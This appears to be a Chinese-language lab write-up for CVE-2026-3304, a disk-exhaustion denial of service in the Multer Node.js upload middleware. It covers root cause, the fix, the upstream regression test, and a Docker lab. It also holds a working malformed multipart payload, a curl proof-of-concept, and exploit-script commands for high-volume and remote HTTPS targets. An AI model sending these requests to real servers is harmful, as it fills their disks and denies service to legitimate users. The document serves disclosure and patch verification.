| 字段 | 详情 |
|---|
| CVE | CVE-2026-3304 |
| 目标 | Multer < 2.1.0(Node.js multipart/form-data 中间件) |
| 类型 | DoS — 孤立文件(临时文件清理不完整) |
| CWE | CWE-459:不完整的清理 |
| CVSS 4.0 | 8.7 高危 |
| 已修补版本 | Multer 2.1.0 |
一个缺少 name 属性的畸形 multipart 请求会导致 Multer 在磁盘上创建临时文件但从不清理。重复请求会耗尽磁盘空间,从而导致拒绝服务。
该漏洞源于 multer/lib/make-middleware.js 中 fileFilter 回调处理流程。
当 Multer 逐部分流式解析 multipart 请求时,会发生以下序列:
[解析事件序列 — 易受攻击版本]
1. 收到第 1 部分头部
→ 调用 fileFilter(req, file, cb)
→ setImmediate(cb) → 回调延迟到下一个事件循环周期
2. 收到第 1 部分主体
→ 打开 /tmp/uploads/<uuid>,开始写入数据
3. 收到第 2 部分头部(缺少 name 属性)
→ Multer 检测到 'name 缺失'
→ errorOccured = true ← 设置错误标志
→ 调用 abortWithCode('LIMIT_FIELD_KEY') → 计划发送 HTTP 500
4. setImmediate 回调触发(下一个事件循环周期)
→ fileFilter 结果:includeFile = true(正常流程)
→ [BUG] 未检查 errorOccured 标志
→ 调用 storage._handleFile() → 临时文件提交到磁盘
5. 发送 HTTP 500 响应
→ 临时文件保留在磁盘上(孤立文件)
make-middleware.js — Multer < 2.1.0)// fileFilter 完成回调(通过 setImmediate 延迟)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
// ❌ 此处从未检查 errorOccured
// 即使在解析第 2 部分时已设置错误,执行仍会继续
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// 临时文件被注册到 uploadedFiles 并留在磁盘上
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
为什么 setImmediate 是问题所在?
使用 setImmediate 包装 fileFilter 会将其回调延迟到下一个事件循环周期。
在该时间窗口内,busboy(multipart 解析器)继续解析下一部分的头部,
发现缺少 name,并设置 errorOccured = true。
当回调恢复执行时,错误状态已设置 — 但代码从未检查它,
因此无条件调用 storage._handleFile,临时文件被写入磁盘。
修复提交:739919097d
在 fileFilter 回调入口之后、到达 storage._handleFile 之前,添加了一个 if (errorOccured) 防护检查。
// fileFilter 完成回调(Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
// ✅ [补丁] 在继续之前检查 errorOccured
if (errorOccured) {
appender.removePlaceholder(placeholder)
return fileStream.resume() // 排空流 — 不向磁盘写入文件
}
if (!includeFile) {
appender.removePlaceholder(placeholder)
return fileStream.resume()
}
storage._handleFile(req, file, function (err, info) {
if (err) {
appender.removePlaceholder(placeholder)
return abortWithError(uploadedFiles, err)
}
appender.replacePlaceholder(placeholder, assign(file, info))
checkFinished()
})
})
| 项目 | 易受攻击(< 2.1.0) | 已修补(2.1.0) |
|---|---|---|
errorOccured 检查 | ❌ 未检查 | ✅ 回调入口立即检查 |
出错时调用 _handleFile | 是 | 已阻止 |
| 临时文件清理 | ❌ 缺失 | ✅ 通过 fileStream.resume() |
| 每个请求的孤立文件数 | 1 | 0 |
为什么 fileStream.resume() 能清理:
调用 fileStream.resume() 会排空并丢弃流,而不将其传递给 DiskStorage,
因此不会写入任何文件,磁盘上也不会留下任何内容。
Multer 团队在 2.1.0 补丁中包含了以下 Mocha 测试来验证修复。
该测试成为本实验环境的蓝图 — 易受攻击的服务器
复现了此处描述的精确设置(setImmediate fileFilter + 畸形 multipart 请求),
并针对易受攻击和已修补版本验证预期行为。
/* eslint-env mocha */
var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')
var express = require('express')
var multer = require('../')
describe('async fileFilter cleanup', function () {
it('does not leave orphan files when request aborts with missing field name', function (done) {
var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
var app = express()
// Vulnerability trigger: async fileFilter via setImmediate
var upload = multer({
dest: uploadDir,
fileFilter: function (req, file, cb) {
setImmediate(function () { cb(null, true) })
}
})
app.post('/upload', upload.any(), function (req, res) {
res.json({ success: true })
})
// Error handler: respond with 400
app.use(function (err, req, res, next) {
res.status(400).json({ error: err.code })
})
var server = app.listen(0, function () {
var port = server.address().port
var boundary = 'TestBound'
// Malicious body: Part 1 valid, Part 2 missing name attribute
var body =
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
'Content-Type: application/octet-stream\r\n\r\nORPHAN FILE DATA\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; filename="b.bin"\r\n' + // ← name= missing
'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
'--' + boundary + '--\r\n'
var req = http.request({
hostname: 'localhost',
port: port,
path: '/upload',
method: 'POST',
headers: {
'Content-Type': 'multipart/form-data; boundary=' + boundary,
'Content-Length': Buffer.byteLength(body)
}
}, function (res) {
res.resume()
res.on('end', function () {
setTimeout(function () {
var files = fs.readdirSync(uploadDir)
// Assert 1: server must respond with 400 (error)
assert.strictEqual(res.statusCode, 400)
// Assert 2: no orphaned files must remain on disk
assert.strictEqual(files.length, 0)
server.close(done)
}, 500)
})
})
req.write(body)
req.end()
})
})
})
| 断言 | 含义 |
|---|---|
res.statusCode === 400 | Multer 正确拒绝畸形请求 |
files.length === 0 | 磁盘上未留下孤立文件(补丁已验证) |
在易受攻击的版本(< 2.1.0)上,files.length 等于 1,断言失败。
本实验直接镜像上述补丁测试设置。
易受攻击的服务器(Dockerfile + app/server.js)运行 Multer 2.0.2,使用基于 setImmediate 的异步 fileFilter — 即补丁测试中的精确触发条件:
// app/server.js — 复现补丁测试的漏洞触发条件
const upload = multer({
dest: UPLOAD_DIR,
fileFilter: function (req, file, cb) {
setImmediate(function () { // ← 延迟回调,制造竞态条件
cb(null, true)
})
}
})
已修补的服务器(Dockerfile.patched)运行相同的 server.js,但安装 Multer 2.1.0,
其中 errorOccured 防护已就位 — 与补丁测试的预期通过状态一致。
| 服务器 | 端口 | Multer | 预期行为 |
|---|---|---|---|
| 易受攻击 | 3000 | 2.0.2 | 每个畸形请求创建一个孤立文件 |
| 已修补 | 3001 | 2.1.0 | 无孤立文件 — 清理正常工作 |
注意: 将
fileFilter切换为同步(移除setImmediate)即使在 Multer < 2.1.0 上也能防止孤立文件。 该漏洞需要两个条件同时满足: 异步fileFilter以及缺少errorOccured检查。
攻击发送一个 multipart/form-data POST,其中第二部分缺少必需的 name 属性。
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream
<binary data>
------Boundary--
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin" ← 第 1 部分:有效,此处创建临时文件
Content-Type: application/octet-stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin" ← 第 2 部分:缺少 name=!
Content-Type: application/octet-stream
x
------Boundary--
服务器端执行流程:
1. 第 1 部分到达 → Multer 打开 /tmp/uploads/<uuid> 并开始写入
2. 使用 setImmediate 调用 fileFilter → 回调被延迟
3. 第 2 部分到达 → Multer 检测到缺少 name → errorOccured = true
4. setImmediate 触发 → fileFilter 回调执行
5. [BUG] 未检查 errorOccured → 调用 storage._handleFile
6. 临时文件写入磁盘
7. 返回 HTTP 500
8. /tmp/uploads/<uuid> 永久保留在磁盘上 ← 孤立文件
服务器响应:
HTTP/1.1 500 Internal Server Error
MulterError: Field name missing
at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)
curl -s -X POST http://localhost:3000/upload \
-H "Content-Type: multipart/form-data; boundary=----Boundary" \
--data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'
立即检查孤立文件:
curl http://localhost:3000/status
pip install requests)# 启动易受攻击(端口 3000)+ 已修补(端口 3001)服务器
docker compose up -d --build
# 验证两者都在运行
curl http://localhost:3000/status
curl http://localhost:3001/status
bash exploit/curl_poc.sh
# 默认(50 个请求)
python3 exploit/exploit.py
# 高强度攻击(500 个请求,每个 5 KB 负载)
python3 exploit/exploit.py --count 500 --size 5120
# 针对使用自签名证书的 HTTPS 目标
python3 exploit/exploit.py --target https://target.example.com --no-verify
# 与已修补版本对比
python3 exploit/exploit.py --target http://localhost:3001 --count 50
bash exploit/monitor.sh
curl -X DELETE http://localhost:3000/reset
| 目标 | 结果 |
|---|---|
| 易受攻击的服务器(3000) | 每个请求创建一个孤立文件,磁盘持续增长 |
| 已修补的服务器(3001) | 无论请求数量多少,孤立文件均为 0 |
[*] CVE-2026-3304 Multer Orphaned File DoS Exploit
[*] Target : http://localhost:3000/upload
[*] Requests: 50 | Delay: 0.0s | Payload: 2048 bytes
------------------------------------------------------------
[*] Before attack — orphaned files: 0
[ 10/50] 500 response: True | orphaned files: 10 | disk: 20.00 KB
[ 20/50] 500 response: True | orphaned files: 20 | disk: 40.00 KB
[ 30/50] 500 response: True | orphaned files: 30 | disk: 60.00 KB
[ 40/50] 500 response: True | orphaned files: 40 | disk: 80.00 KB
[ 50/50] 500 response: True | orphaned files: 50 | disk: 100.00 KB
============================================================
[Result] Total requests: 50 | Triggered: 50
[Result] Orphaned files: 0 -> 50
[Result] Disk wasted: 100.00 KB
[!] VULNERABLE: 50 temporary files left on disk, never cleaned up
[!] Repeated attacks will exhaust disk space (DoS)
$ docker exec cve-2026-3304-target df -h /tmp/uploads
攻击前:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 0 50.0M 0% /tmp/uploads
200 个请求 × 5 KB 后:
Filesystem Size Used Available Use% Mounted on
tmpfs 50.0M 1.6M 48.4M 3% /tmp/uploads
$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M /tmp/uploads
$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200
每个孤立文件永久保留在磁盘上,直到服务器重启或手动清理。 容器的 tmpfs 上限为 50 MB — 达到限制会导致服务器完全无法处理新上传。
运行 1: 孤立文件 0 -> 50 (100 KB)
运行 2: 孤立文件 50 -> 100 (200 KB)
↑ 运行 1 的文件仍然存在 — 从未被清理
[ 10/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 20/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 30/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 40/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[ 50/50] 500 response: True | orphaned files: 0 | disk: 0.00 KB
[*] No orphaned files — patched version cleans up correctly
docker compose down